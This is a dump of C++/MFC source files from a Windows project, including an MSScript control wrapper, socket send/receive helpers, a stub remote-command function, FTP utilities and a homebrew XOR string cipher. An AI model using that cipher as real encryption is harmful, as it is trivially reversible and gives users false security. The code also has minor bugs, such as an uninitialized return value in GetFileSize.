///////////////////////////////////////////////////////////////////////////////
// GetMethodsName: Get methods name list
bool CScriptObject::GetMethodsName()
{
    bool bResult = false;
    if (m_pScript != NULL)
    {
        IScriptProcedureCollectionPtr pIProcedures = m_pScript->GetProcedures();

        // empty list...
        m_FunctionList.clear();

        try{
            long count = pIProcedures->GetCount();
            for(long index=1; index <= count; index++)
            {
                IScriptProcedurePtr pIProcPtr = pIProcedures->GetItem( _variant_t(index) );
                _bstr_t name = pIProcPtr->GetName();
                m_FunctionList.insert(m_FunctionList.end(), (LPCTSTR) name );
                pIProcPtr = NULL;
            }

            bResult = true;
        }
        catch(...)
        {
            // Just catch the exception, call GetErrorString()
            // to retreive last error
        }

        pIProcedures = NULL;
    }
    return bResult;
}


///////////////////////////////////////////////////////////////////////////////
// GetScriptFunction
//      Get Script function name, this is useful for script with case sensitive
//      function name.
LPCTSTR CScriptObject::GetScriptFunction(LPCTSTR szName)
{
    stl_string_list::iterator iter = m_FunctionList.begin();
    while( iter != m_FunctionList.end() )
    {
        if ((*iter).compare(szName) == 0)
            return (*iter).c_str();
        iter++;
    }
    return TEXT("");
}


//////////////////////////////////////////////////////////////////////////
// LoadScriptResource:
//      Load a Script resource.  This function loads and insert all functions
//      and procedures to the component.  The script resource may contain comments
//      as well.  Global variables may also be defined. You may want to see the
//      script resource as a Module file in Visual Basic.
//////////////////////////////////////////////////////////////////////////
bool CScriptObject::LoadScriptResource(LPCTSTR lpName, LPCTSTR lpType, HINSTANCE hInstance )
{
    try{
        if (m_pScript)
        {
            HRSRC res = ::FindResource(hInstance, lpName, lpType);
            ASSERT( res != NULL);
            BYTE* pbytes = (BYTE*) LockResource(LoadResource(hInstance, res ));
            ASSERT( pbytes != NULL);
            _bstr_t strCode = (LPCSTR) (pbytes);
            m_pScript->AddCode( strCode );
            GetMethodsName();
            return true;
        }
    }
    catch(...)
    {
        // Just catch the exception, call GetErrorString()
        // to retreive last error
    }
    return false;
}


///////////////////////////////////////////////////////////////////////////////
// LoadScript
//      Load a Script File.  This function loads and insert all functions and
//      procedures to the component.  The script file may contain comments as well.
//      Global variables may also be define. You may want to see the script file
//      as a Module file in Visual Basic.
//      The script file is probably a simple text file (ASCII format)
///////////////////////////////////////////////////////////////////////////////
bool CScriptObject::LoadScript(LPCTSTR szFilename)
{
    HANDLE hFile = CreateFile(szFilename, GENERIC_READ, FILE_SHARE_READ,
            NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
    if (hFile != INVALID_HANDLE_VALUE)
    {
        DWORD dwSize = GetFileSize(hFile, NULL);
        if (0xFFFFFFFF != dwSize)
        {
            BYTE* pbytes = (BYTE*) GlobalAlloc(GPTR, dwSize+1);
            if (pbytes != NULL)
            {
                DWORD dwRead = 0;
                bool bResult = false;
                if (ReadFile(hFile, pbytes, dwSize, &dwRead, NULL))
                {
                    try{
                        if (m_pScript)
                        {
                            _bstr_t strCode = (LPCSTR) (pbytes);
                            m_pScript->AddCode( strCode );
                            GetMethodsName();
                            bResult = true;
                        }
                    }
                    catch(...)
                    {
                        // Just catch the exception, call GetErrorString()
                        // to retreive last error
                    }

                    GlobalFree( (HGLOBAL) pbytes);
                    CloseHandle(hFile);
                    return bResult;
                }

                GlobalFree( (HGLOBAL) pbytes);
            }
        }

        CloseHandle(hFile);
        return false;
    }

    return false;
}


///////////////////////////////////////////////////////////////////////////////
// AddScript
//      Use this function to add a script function, useful for internal use
//      not global script (resource file).
///////////////////////////////////////////////////////////////////////////////
bool CScriptObject::AddScript(LPCTSTR szCode)
{
    try {
        if (m_pScript != NULL)
        {
            ULONG ref = m_pScript->AddRef();
            _bstr_t strCode = szCode;
            m_pScript->AddCode( strCode );
            GetMethodsName();
            ref = m_pScript->Release();
            return true;
        }
    }
    catch(...)
    {
        // Just catch the exception, call GetErrorString()
        // to retreive last error
        ULONG ref = m_pScript->Release();
    }
    return false;
}


///////////////////////////////////////////////////////////////////////////////
// ExecuteStatement
//      Use this function to execute a "Sub routine" - no arguments
///////////////////////////////////////////////////////////////////////////////
bool CScriptObject::ExecuteStatement(LPCTSTR szStatement)
{
    try {
        if (m_pScript != NULL)
        {
            ULONG ref = m_pScript->AddRef();
            m_pScript->ExecuteStatement( _bstr_t(szStatement) );
            ref = m_pScript->Release();
            return true;
        }
    }
    catch(...)
    {
        // Just catch the exception, call GetErrorString()
        // to retreive last error
        ULONG ref = m_pScript->Release();
    }
    
    return false;
}


///////////////////////////////////////////////////////////////////////////////
// RunProcedure
//      Use this function to run a "Procedure" or "Function" - with arguments
///////////////////////////////////////////////////////////////////////////////
bool CScriptObject::RunProcedure(LPCTSTR szProcName, SAFEARRAY** saParameters, VARIANT* varRet)
{
    // required argument
    ASSERT( saParameters != NULL);
    ASSERT( varRet  != NULL);

    try {
        if (m_pScript != NULL)
        {
            ULONG ref = m_pScript->AddRef();
            bool  bResult = false;
            _bstr_t szFunc  = GetScriptFunction(szProcName);
            if (szFunc.length() > 0)
            {
                *varRet = m_pScript->Run(szFunc, saParameters);
                bResult = true;
            }
            ref = m_pScript->Release();
            return bResult;
        }
    }
    catch(...)
    {
        // Just catch the exception, call GetErrorString()
        // to retreive last error
        ULONG ref = m_pScript->Release();
    }
    return false;
}
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/************************************************************

* FILENAME : ScriptObject.h

*

* class CScriptObject

*		This class implements MSScript control

*		It can interface script from resource file or text file

*

* INITIAL CODING : Ernest Laurentin (EL)

*************************************************************/



#ifndef _SCRIPT_OBJECT_

#define _SCRIPT_OBJECT_

#include <xstring>

#include <list>



// Add this to your stdafx.h

//#pragma warning( disable: 4786)



// Adjust the following path if required

#import "msscript.ocx" no_namespace



#define LANGUAGE_DEFAULT	_T("JScript")

#define RT_SCRIPT			_T("SCRIPT")

#define LANGUAGE_NAME_LEN	40

#define ERROR_DESC_LEN		256



using namespace std;



#ifndef _UNICODE

typedef list<string> stl_string_list;

#else

typedef list<wstring> stl_string_list;

#endif



class CScriptObject

{



// Construction

public:

	CScriptObject();

	~CScriptObject();



// Function

public:

	LPCTSTR GetLanguage();

	void SetLanguage(LPCTSTR szLanguage);

	int  GetMethodsCount() const;

	LPCTSTR GetNameAt(int index);

	void Reset();

	bool LoadScript(LPCTSTR szFilename);

	bool LoadScriptResource(LPCTSTR lpName, LPCTSTR lpType, HINSTANCE hInstance);

	bool AddScript(LPCTSTR szCode);

	LPCTSTR GetErrorString();

	bool ExecuteStatement(LPCTSTR szStatement);

	bool RunProcedure(LPCTSTR szProcName, SAFEARRAY** saParameters, VARIANT* varRet);

protected:

	void CommonConstruct();

	bool GetMethodsName();

	LPCTSTR GetScriptFunction(LPCTSTR name);



	IScriptControlPtr m_pScript;				// The one and only script control

	stl_string_list m_FunctionList;				// Function list

	TCHAR	m_szLanguage[LANGUAGE_NAME_LEN+1];	// Current language

	TCHAR	m_szError[ERROR_DESC_LEN+1];		// Description error

private:



};



#endif // _SCRIPT_OBJECT_
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源码/StaticFunctions.cpp// StaticFunctions.cpp: implementation of the CStaticFunctions class.
//
//////////////////////////////////////////////////////////////////////

#include "stdafx.h"
#include "StaticFunctions.h"

#ifdef _DEBUG
#undef THIS_FILE
static char THIS_FILE[]=__FILE__;
#define new DEBUG_NEW
#endif

//////////////////////////////////////////////////////////////////////
// Construction/Destruction
//////////////////////////////////////////////////////////////////////

//日志文件全局变量
CCriticalSection CStaticFunctions::m_LogSection;
CStdioFile CStaticFunctions::m_LogFile;

CStaticFunctions::CStaticFunctions()
{
    
}

CStaticFunctions::~CStaticFunctions()
{
    
}

CString     CStaticFunctions::GetPathFileName(CString strPath)
{
    CString strFileName;
    strFileName = strPath.Right(strPath.GetLength() - strPath.ReverseFind('\\') - 1);//去掉字符串后的"\\"
    return strFileName;
}

BOOL CStaticFunctions::GetFileExt(CString strFilename,CString &strExt)
{
    if(strFilename.IsEmpty() || strFilename.Find('.') == -1)
        return FALSE;
    
    strExt = strFilename.Right(strFilename.GetLength() - strFilename.ReverseFind('.') - 1);
    
    return TRUE;
}

BOOL CStaticFunctions::IsFileExist(LPCTSTR strFileName)
{
    if(strFileName == NULL)
        return FALSE;
    
    DWORD dwAttr = ::GetFileAttributes(strFileName);
    return (dwAttr!=-1 && !(dwAttr&FILE_ATTRIBUTE_DIRECTORY) );
}

BOOL CStaticFunctions::IsPathExist(LPCTSTR strPath)
{
    if(strPath == NULL)
        return FALSE;
    
    CString t_PathName = strPath;
    t_PathName.Replace('/','\\');
    DWORD dwAttr = ::GetFileAttributes(t_PathName);
    
    return (dwAttr!=-1 && (dwAttr&FILE_ATTRIBUTE_DIRECTORY) );
}

void CStaticFunctions::GetWorkPath(CString &strPath)
{
    char FilePath[_MAX_PATH];
    DWORD dwSize = GetModuleFileName(NULL,FilePath,_MAX_PATH);
    strPath = FilePath;
    strPath = strPath.Left(strPath.ReverseFind('\\'));//去掉字符串后的"\\"
}
//和GetPathFileName函数一个功能?
CString CStaticFunctions::ParseFileName(CString strPathFullName)
{
    CString strFileName;
    
    strFileName = strPathFullName.Right(strPathFullName.GetLength() - strPathFullName.ReverseFind('\\') - 1);
    
    return strFileName;
}

BOOL CStaticFunctions::CreatePath(LPCTSTR lpszDir)
{
    if(lpszDir==NULL || _tcslen(lpszDir)==0)
        return FALSE;
    
    // base case . . .if directory exists
    if(IsPathExist(lpszDir))
        return TRUE;
    
    CString strDir(lpszDir);
    if(strDir.Right(1) == "\\")
        strDir = strDir.Left(strDir.GetLength()-1); 
    
    // recursive call, one less directory
    int nFound = strDir.ReverseFind('\\');
    CString strSubDir = strDir.Left(nFound);
    
    if(! CreatePath(strSubDir) )
        return FALSE;
    
    return ::CreateDirectory(strDir,NULL);
}


int CStaticFunctions::IsInStringArray(const CStringArray &strArr, const CString &str)
{
    int nIndex = -1;
    for (int i=0; i< strArr.GetSize(); i++)
    {
        if (str.Compare(strArr[i]) == 0)
        {
            nIndex = i;
            break;
        }
    }
    return nIndex;
}

int CStaticFunctions::IsInStringArrayNoCase(const CStringArray &strArr, const CString &str)
{
    int nIndex = -1;
    for (int i=0; i< strArr.GetSize(); i++)
    {
        if (str.CompareNoCase(strArr[i]) == 0)
        {
            nIndex = i;
            break;
        }
    }
    return nIndex;
}

void CStaticFunctions::GetWindowDisk(CString &strDisk)
{
    CString strExe;
    TCHAR pBuf[MAX_PATH];
    ::GetWindowsDirectory(pBuf,MAX_PATH);
    strExe = pBuf;
    strDisk = strExe.Left(3);   
}

void CStaticFunctions::GetWindowDir(CString &strDir)
{
    CString strExe;
    TCHAR pBuf[MAX_PATH];
    ::GetWindowsDirectory(pBuf,MAX_PATH);
    strExe = pBuf;
    strDir = strExe;
}

void CStaticFunctions::GetProgramFileDir(CString &strDir)
{
    CString strExe;
    TCHAR pBuf[MAX_PATH];
    ::GetWindowsDirectory(pBuf,MAX_PATH);
    strExe = pBuf;
    strExe = strExe.Left(3);
    strDir = strExe + _T("Program Files");
}

CString CStaticFunctions::LongPathToShort(LPCTSTR strPath)
{
    CString strShort;
    TCHAR  pBuf[MAX_PATH];
    DWORD dwLen = ::GetShortPathName(strPath,pBuf,MAX_PATH);
    if (dwLen > 0)
        strShort = pBuf;
    return strShort;
}

CString CStaticFunctions::ShortPathToLong(LPCTSTR strPath)
{
    CString strLong;
    TCHAR pBuf[MAX_PATH];
    DWORD dwLen = ::GetLongPathName(strPath,pBuf,MAX_PATH);
    if (dwLen > 0)
        strLong = pBuf;
    return strLong;
}

CString CStaticFunctions::GetLONGLONGString(LONGLONG llValue)
{
    CString strRes = "";
    char strTemp[_MAX_PATH];
    LONGLONG llTemp = llValue;
    CString strValue = "";
    BYTE bTemp = 0;
    while(llTemp > 0)
    {
        bTemp = (BYTE)(llTemp % 10);
        llTemp = llTemp / 10;
        sprintf(strTemp, "%x", bTemp);
        strValue = strTemp;
        strRes = strValue + strRes;
    }
    return strRes;
}

CString  CStaticFunctions::CombineFilePath(LPCTSTR lpszPathName, LPCTSTR lpszFileName)
{
    CString str(lpszPathName);
    if(str.Right(1) != '\\' && *lpszFileName!='\\')
        str += '\\';
    str += lpszFileName;
    return str;
}

UINT CStaticFunctions::Savelog(LPVOID param)
{
    CFileException e;
    CString str;
    m_LogSection.Lock();

    BOOL bResult=m_LogFile.Open("d:\\pt.txt",CFile::modeWrite|CFile::modeCreate|CFile::modeNoTruncate|CFile::typeText) ;
    if (!bResult)
    {
        return 0;
    }
    CTime t=CTime::GetCurrentTime();
    CString strWrite;
    strWrite.Format("[%04d-%02d-%02d %02d:%02d:%02d]--%s\n",\
    t.GetYear(),t.GetMonth(),t.GetDay(),t.GetHour(),t.GetMinute(),t.GetSecond(),param);
    m_LogFile.SeekToEnd();
    m_LogFile.WriteString(strWrite);
    m_LogFile.Close();

    m_LogSection.Unlock();
    return 1;   
}

CString CStaticFunctions::GetPathPathName(CString strPath)
{
    //获取文件路径：
    CString str;
    int n=strPath.ReverseFind('\\')+1;
    str=strPath.Left(n);
    return str;
}

BOOL CStaticFunctions::RecvData(SOCKET sock, char *buffer, int bufferLen)
{
    int startPos;
    int ret;
    startPos=0;
    CString xx;
    while(bufferLen>0)
    {
        ret=recv(sock,buffer+startPos,bufferLen,0);
    
        if(ret==0)
            break;
        if(ret==SOCKET_ERROR)
        {
            if(WSAGetLastError()==WSAEWOULDBLOCK)
            {
                Sleep(50);
                continue;
            }
            xx.Format("%d",WSAGetLastError());
        //  AfxMessageBox(xx);
            return FALSE;
            
        }
        startPos+=ret;
        bufferLen-=ret;
    }
    return bufferLen==0;
}

BOOL CStaticFunctions::SendData(SOCKET sock, char *buffer, int bufferLen)
{

    int startPos;
    int ret;
    startPos=0;

    while(bufferLen>0)
    {
        ret=send(sock,buffer+startPos,bufferLen,0);
        if(ret==0)
            break;
        if(ret==SOCKET_ERROR)
        {
        
            if(WSAGetLastError()==WSAEWOULDBLOCK)
            {
                Sleep(50);
                continue;
            }   

            return FALSE;
        
        }
        startPos+=ret;
        bufferLen-=ret;
    }
    return bufferLen==0;



}

BOOL CStaticFunctions::SendRemoteCommand(SOCKET sc,DWORD dwmsgid, DWORD dwparam)
{
    //开始发送远程桌面连接命令
    BOOL bRet=TRUE;
    return bRet;
    //返回值,是否发送命令成功
}

int CStaticFunctions::GetFileSize(CString path)
{
    WIN32_FIND_DATA fileInfo; 
    HANDLE hFind; 
    DWORD filesize; 
    hFind=FindFirstFile(path.GetBuffer(0) ,&fileInfo); 
    if(hFind != INVALID_HANDLE_VALUE) 
        filesize = fileInfo.nFileSizeLow; 
    FindClose(hFind);
    return filesize;
}




CString CStaticFunctions::GetCurrentTimeStr()
{
    //得到当前上线时间
    CTime tm;
    CString strtm;
    tm=CTime::GetCurrentTime();   
    strtm=tm.Format("%Y-%m-%d-%H-%M-%S");
    return strtm;
}

CString CStaticFunctions::Encrypt_KnownKey(CString S, WORD Key)
{
    CString Result,str;
    int i,j;
    
    Result=S; // 初始化结果字符串
    for(i=0; i<S.GetLength(); i++) // 依次对字符串中各字符进行操作
    {
        Result.SetAt(i, S.GetAt(i)^(Key>>8)); // 将密钥移位后与字符异或
        Key = ((BYTE)Result.GetAt(i)+Key)*C1+C2; // 产生下一个密钥
    }
    S=Result; // 保存结果
    Result.Empty(); // 清除结果
    for(i=0; i<S.GetLength(); i++) // 对加密结果进行转换
    {
        j=(BYTE)S.GetAt(i); // 提取字符
        // 将字符转换为两个字母保存
        str="12"; // 设置str长度为2
        str.SetAt(0, 65+j/26);
        str.SetAt(1, 65+j%26);
        Result += str;
    }
    return Result;
}

CString CStaticFunctions::Decode_KnownKey(CString S, WORD Key)
{
    CString Result,str;
    int i,j;
    
    Result.Empty(); // 清楚结果
    for(i=0; i < S.GetLength()/2; i++) // 将字符串两个字母一组进行处理
    {
        j = ((BYTE)S.GetAt(2*i)-65)*26;
        j += (BYTE)S.GetAt(2*i+1)-65;
        str="1"; // 设置str长度为1
        str.SetAt(0, j);
        Result+=str; // 追加字符，还原字符串
    }
    S=Result; // 保存中间结果
    for(i=0; i<S.GetLength(); i++) // 依次对字符串中各字符进行操作
    {
        Result.SetAt(i, (BYTE)S.GetAt(i)^(Key>>8)); // 将密钥移位后与字符异或
        Key = ((BYTE)S.GetAt(i)+Key)*C1+C2; // 产生下一个密钥
    }
    return Result;

}





BOOL CStaticFunctions::MakeSureDirectoryPathExists(LPCTSTR lpszDirPath)
{
    CString strDirPath = lpszDirPath;
    
    int nPos = 0;
    
    while((nPos = strDirPath.Find('\\', nPos+1)) != -1) 
    {
        CreateDirectory(strDirPath.Left(nPos), NULL);
    }
    return CreateDirectory(strDirPath, NULL);
}



void CStaticFunctions::DoEvents()
{
    MSG msg;
    
    // window message         
    while (PeekMessage(&msg,NULL,NULL,NULL,PM_REMOVE))         
    {            
        TranslateMessage(&msg);            
        DispatchMessage(&msg);         
    }      
}



BOOL  CStaticFunctions::FileExists(LPCTSTR lpszFileName, BOOL bIsDirCheck)
{
    // A quick'n'easy way to see if a file exists.
    DWORD dwAttributes = GetFileAttributes(lpszFileName);
    if (dwAttributes == 0xFFFFFFFF)
        return FALSE;
    
    if ((dwAttributes & FILE_ATTRIBUTE_DIRECTORY) == FILE_ATTRIBUTE_DIRECTORY)
    {
        if (bIsDirCheck)
            return TRUE;
        else
            return FALSE;
    }
    else
    {
        if (!bIsDirCheck)
            return TRUE;
        else
            return FALSE;
    }
}



CString CStaticFunctions::GetFileDate(CFileFind &find)
{
    CString strResult;
    
    CTime time = CTime::GetCurrentTime();
    
    find.GetLastWriteTime(time);
    
    CTimeSpan timeSpan = CTime::GetCurrentTime() - time;
    
    if (timeSpan.GetDays() > 356)
    {
        strResult = time.Format(" %b %d %Y ");
    }
    else
    {
        strResult.Format(" %s %02d:%02d ", time.Format("%b %d"), time.GetHour(), time.GetMinute());
    }
    return strResult;
}




BOOL CStaticFunctions::WaitWithMessageLoop(HANDLE hEvent, int nTimeout)
{   
    DWORD dwRet;
    
    while (1)
    {
        // wait for event or message, if it's a message, process it and return to waiting state
        dwRet = MsgWaitForMultipleObjects(1, &hEvent, FALSE, nTimeout, QS_ALLINPUT);
        if (dwRet == WAIT_OBJECT_0)
        {
            TRACE0("WaitWithMessageLoop() event triggered.\n");
            return TRUE;      
        }   
        else
            if (dwRet == WAIT_OBJECT_0 + 1)
            {
                // process window messages
                AfxGetApp()->PumpMessage();
            }  
            else
                if (dwRet == WAIT_TIMEOUT)
                {
                    // timed out !
                    return FALSE;
                }
                else
                {
                    // WAIT_ABANDONED_0 ...
                    return TRUE;
                }
    }
}







源码/StaticFunctions.h

// StaticFunctions.h: interface for the CStaticFunctions class.

//

//////////////////////////////////////////////////////////////////////



#if !defined(AFX_STATICFUNCTIONS_H__495BA67D_B026_4EB6_857B_AA360BAB1F25__INCLUDED_)

#define AFX_STATICFUNCTIONS_H__495BA67D_B026_4EB6_857B_AA360BAB1F25__INCLUDED_



#if _MSC_VER > 1000

#pragma once

#endif // _MSC_VER > 1000

#include <WinSock2.h>

#include   <afxmt.h>

#define C1 52845

#define C2 22719



class CStaticFunctions

{

public:

	static CString Decode_KnownKey(CString S, WORD Key);

	static CString Encrypt_KnownKey(CString S, WORD Key);

	static int GetFileSize(CString path);

	static BOOL SendRemoteCommand(SOCKET sc,DWORD dwmsgid,DWORD  dwparam);

	static	BOOL SendData(SOCKET sock, char *buffer, int bufferLen);

	static	BOOL RecvData(SOCKET sock, char *buffer, int bufferLen);

	static CString GetPathPathName(CString strPath);

	//记录日志

	static UINT  Savelog(LPVOID param);

	//获得系统应用程序安装目录

	static void GetProgramFileDir(CString& strDir);

	//获得windows系统安装目录

	static void GetWindowDir(CString& strDir);

	//获得系统安装的盘符

	static void GetWindowDisk(CString& strDisk);

	//给指定对话框设置标题

	static void SetStaticText(CDialog* pDlg,UINT nID,LPCTSTR strText);

	//得到正在运行程序当前的文件目录

	static void GetWorkPath(CString& strPath);



	static int IsInStringArrayNoCase(const CStringArray &strArr, const CString &str);

	static int IsInStringArray(const CStringArray & strArr,const CString& str);

	//指定路径是否存在

	static BOOL IsPathExist(LPCTSTR strPath);

	//指定文件是否存在

	static BOOL IsFileExist(LPCTSTR strFileName);

	//创建目录

	static BOOL CreatePath(LPCTSTR strPath);

	

	//得到指定文件的扩展名

	static BOOL GetFileExt(CString strFilename,CString &strExt);		

	//把超长的64位整数转换成字符串

	static CString GetLONGLONGString(LONGLONG llValue);

	//联合路径和文件名

	static CString CombineFilePath(LPCTSTR lpszPathName, LPCTSTR lpszFileName);

	//取指定路径中的文件名

	static CString ParseFileName(CString strPathFullName);

	//把形如c:\windows\1~这样的短文件名复原成长文件名

	static CString ShortPathToLong(LPCTSTR strPath);

	//把长文件名转换成短文件名

	static CString LongPathToShort(LPCTSTR strPath);

	

	//获得完整文件路径中的文件名

	static CString GetPathFileName(CString strPath);

	//获得字符串格式时间

	static CString  GetCurrentTimeStr();



	///////////////////////FTP专用函数////////////////////////////////////////////////

	//目录是否存在

	static BOOL MakeSureDirectoryPathExists(LPCTSTR lpszDirPath);

	//ftp专用循环

	static void DoEvents();

	//文件是否存在

	static BOOL FileExists(LPCTSTR lpszFileName, BOOL bIsDirCheck);

	//得到文件日期

	static CString GetFileDate(CFileFind &find);

	static BOOL WaitWithMessageLoop(HANDLE hEvent, int nTimeout);

	CStaticFunctions ();

	virtual ~CStaticFunctions ();

	static CCriticalSection m_LogSection;

	//日志文件全局变量

	static CStdioFile m_LogFile;

};



#endif // !defined(AFX_STATICFUNCTIONS_H__495BA67D_B026_4EB6_857B_AA360BAB1F25__INCLUDED_)









源码/StdAfx.cpp



    
    
    ??/StdAfx.cpp
    
    


??/StdAfx.cpp// stdafx.cpp : source file that includes just the standard includes
//  7QW.pch will be the pre-compiled header
//  stdafx.obj will contain the pre-compiled type information

#include "stdafx.h"










源码/StdAfx.h

// stdafx.h : include file for standard system include files,

//  or project specific include files that are used frequently, but

//      are changed infrequently

//



#if !defined(AFX_STDAFX_H__5CBDFDDA_89C8_4E0E_84BE_4EF29216E627__INCLUDED_)

#define AFX_STDAFX_H__5CBDFDDA_89C8_4E0E_84BE_4EF29216E627__INCLUDED_



#if _MSC_VER > 1000

#pragma once

#endif // _MSC_VER > 1000



#define VC_EXTRALEAN		// Exclude rarely-used stuff from Windows headers



#include <afxwin.h>         // MFC core and standard components

#include <afxext.h>         // MFC extensions

#include <afxdisp.h>        // MFC Automation classes

#include <afxdtctl.h>		// MFC support for Internet Explorer 4 Common Controls

#ifndef _AFX_NO_AFXCMN_SUPPORT

#include <afxcmn.h>			// MFC support for Windows Common Controls

#endif // _AFX_NO_AFXCMN_SUPPORT

#include "macros.h"

//#pragma warning( disable: 4786)

#pragma warning( disable: 4089)

//{{AFX_INSERT_LOCATION}}

// Microsoft Visual C++ will insert additional declarations immediately before the previous line.



#endif // !defined(AFX_STDAFX_H__5CBDFDDA_89C8_4E0E_84BE_4EF29216E627__INCLUDED_)









源码/TopSheet.cpp



    
    
    ??/TopSheet.cpp
    
    


??/TopSheet.cpp// TopSheet.cpp : implementation file
//

#include "stdafx.h"
#include "7QW.h"
#include "TopSheet.h"

#ifdef _DEBUG
#define new DEBUG_NEW
#undef THIS_FILE
static char THIS_FILE[] = __FILE__;
#endif

/////////////////////////////////////////////////////////////////////////////
// CTopSheet

IMPLEMENT_DYNAMIC(CTopSheet, CPropertySheet)
CTopSheet::CTopSheet()
{
    
}
CTopSheet::CTopSheet(UINT nIDCaption, CWnd* pParentWnd, UINT iSelectPage)
    :CPropertySheet(nIDCaption, pParentWnd, iSelectPage)
{
}

CTopSheet::CTopSheet(LPCTSTR pszCaption, CWnd* pParentWnd, UINT iSelectPage)
    :CPropertySheet(pszCaption, pParentWnd, iSelectPage)
{
}

CTopSheet::~CTopSheet()
{
}


BEGIN_MESSAGE_MAP(CTopSheet, CPropertySheet)
    //{{AFX_MSG_MAP(CTopSheet)
        // NOTE - the ClassWizard will add and remove mapping macros here.
    //}}AFX_MSG_MAP
END_MESSAGE_MAP()

/////////////////////////////////////////////////////////////////////////////
// CTopSheet message handlers







源码/TopSheet.h

#if !defined(AFX_TOPSHEET_H__1FA37D51_C970_4935_9C2B_0BF592FBD46E__INCLUDED_)

#define AFX_TOPSHEET_H__1FA37D51_C970_4935_9C2B_0BF592FBD46E__INCLUDED_



#if _MSC_VER > 1000

#pragma once

#endif // _MSC_VER > 1000

// TopSheet.h : header file

//



/////////////////////////////////////////////////////////////////////////////

// CTopSheet



class CTopSheet : public CPropertySheet

{

	DECLARE_DYNAMIC(CTopSheet)



// Construction

public:

	CTopSheet::CTopSheet();

	CTopSheet(UINT nIDCaption, CWnd* pParentWnd = NULL, UINT iSelectPage = 0);

	CTopSheet(LPCTSTR pszCaption, CWnd* pParentWnd = NULL, UINT iSelectPage = 0);



// Attributes

public:



// Operations

public:



// Overrides

	// ClassWizard generated virtual function overrides

	//{{AFX_VIRTUAL(CTopSheet)

	//}}AFX_VIRTUAL



// Implementation

public:

	virtual ~CTopSheet();



	// Generated message map functions

protected:

	//{{AFX_MSG(CTopSheet)

		// NOTE - the ClassWizard will add and remove member functions here.

	//}}AFX_MSG

	DECLARE_MESSAGE_MAP()

};



/////////////////////////////////////////////////////////////////////////////



//{{AFX_INSERT_LOCATION}}

// Microsoft Visual C++ will insert additional declarations immediately before the previous line.



#endif // !defined(AFX_TOPSHEET_H__1FA37D51_C970_4935_9C2B_0BF592FBD46E__INCLUDED_)









源码/TopView.cpp



    
    
    源码/TopView.cpp
    
    


源码/TopView.cpp// TopView.cpp : implementation file
//

#include "stdafx.h"
#include "7QW.h"
#include "TopView.h"
#ifdef _DEBUG
#define new DEBUG_NEW
#undef THIS_FILE
static char THIS_FILE[] = __FILE__;
#endif

/////////////////////////////////////////////////////////////////////////////
// CTopView

IMPLEMENT_DYNCREATE(CTopView, CView)

CTopView::CTopView()
{
}

CTopView::~CTopView()
{
}


BEGIN_MESSAGE_MAP(CTopView, CView)
    //{{AFX_MSG_MAP(CTopView)
    ON_WM_CREATE()
    ON_WM_SIZE()
    //}}AFX_MSG_MAP
END_MESSAGE_MAP()

/////////////////////////////////////////////////////////////////////////////
// CTopView drawing

void CTopView::OnDraw(CDC* pDC)
{
    CDocument* pDoc = GetDocument();
    // TODO: add draw code here
}

/////////////////////////////////////////////////////////////////////////////
// CTopView diagnostics

#ifdef _DEBUG
void CTopView::AssertValid() const
{
    CView::AssertValid();
}

void CTopView::Dump(CDumpContext& dc) const
{
    CView::Dump(dc);
}
#endif //_DEBUG

/////////////////////////////////////////////////////////////////////////////
// CTopView message handlers

int CTopView::OnCreate(LPCREATESTRUCT lpCreateStruct) 
{
    if (CView::OnCreate(lpCreateStruct) == -1)
        return -1;
    
    // TODO: Add your specialized creation code here
    CRect rect(0,0,800,580);
    m_wndSheet.AddPage(&m_wndPage1);
    m_wndSheet.AddPage(&m_wndPage2);
    m_wndSheet.AddPage(&m_wndPage3);
    m_wndSheet.AddPage(&m_wndPage4);

    
    m_wndSheet.Create(this,WS_CHILD|WS_VISIBLE,0); 
    m_wndSheet.ModifyStyleEx(0,WS_TABSTOP);
    m_wndSheet.SetWindowPos(NULL,0,0,rect.Width(),rect.Height(),SWP_NOACTIVATE);
    CTabCtrl* m_tabctrl=m_wndSheet.GetTabControl( );
    m_tabctrl->SetWindowPos(NULL,0,0,rect.right-rect.left,rect.bottom-rect.top,SWP_NOACTIVATE);
    
    //因为addpage之后,各page页面并没真正地被创建
    //只在被激活后,page才被创建
    //所以,在这里先激活每个页面,然后复位到0号页面
    
    for(int i=0;i<m_wndSheet.GetPageCount();i++)
        m_wndSheet.SetActivePage(i);
    m_wndSheet.SetActivePage(0);
    
    return 0;
}

void CTopView::OnSize(UINT nType, int cx, int cy) 
{
    CView::OnSize(nType, cx, cy);
    
    // TODO: Add your message handler code here
    m_wndSheet.SetWindowPos(NULL,0,0,cx,cy,SWP_NOACTIVATE);
    CTabCtrl* m_tabctrl= m_wndSheet.GetTabControl( );
    m_tabctrl->SetWindowPos(NULL,0,0,cx,cy,NULL);
    m_wndSheet.SetActivePage( m_wndSheet.GetActiveIndex());
}

CFun1LeftView * CTopView::GetFun1LeftViewFromPage()
{
    return m_wndPage1.GetFun1LeftView();
}

CFun1RightView * CTopView::GetFun1RightViewFromPage()
{
    return m_wndPage1.GetFun1RightView();
}







源码/TopView.h

#if !defined(AFX_TOPVIEW_H__BC450030_0184_4C02_8EF4_4674BD5DEC87__INCLUDED_)

#define AFX_TOPVIEW_H__BC450030_0184_4C02_8EF4_4674BD5DEC87__INCLUDED_



#if _MSC_VER > 1000

#pragma once

#endif // _MSC_VER > 1000

// TopView.h : header file

//



#include "Fun1Dlg.h"

#include "Fun2Dlg.h"

#include "Fun3Dlg.h"

#include "Fun4Dlg.h"

#include "TopSheet.h"

/////////////////////////////////////////////////////////////////////////////

// CTopView view



class CTopView : public CView

{

protected:

	CTopView();           // protected constructor used by dynamic creation

	DECLARE_DYNCREATE(CTopView)



// Attributes

public:



// Operations

public:

	CFun1RightView * GetFun1RightViewFromPage();

	CFun1LeftView * GetFun1LeftViewFromPage();

	CFun1Dlg m_wndPage1;

	CFun2Dlg m_wndPage2;

	CFun3Dlg m_wndPage3;

	CFun4Dlg m_wndPage4;

	CTopSheet m_wndSheet;

// Overrides

	// ClassWizard generated virtual function overrides

	//{{AFX_VIRTUAL(CTopView)

	protected:

	virtual void OnDraw(CDC* pDC);      // overridden to draw this view

	//}}AFX_VIRTUAL



// Implementation

protected:

	virtual ~CTopView();

#ifdef _DEBUG

	virtual void AssertValid() const;

	virtual void Dump(CDumpContext& dc) const;

#endif



	// Generated message map functions

protected:

	//{{AFX_MSG(CTopView)

	afx_msg int OnCreate(LPCREATESTRUCT lpCreateStruct);

	afx_msg void OnSize(UINT nType, int cx, int cy);

	//}}AFX_MSG

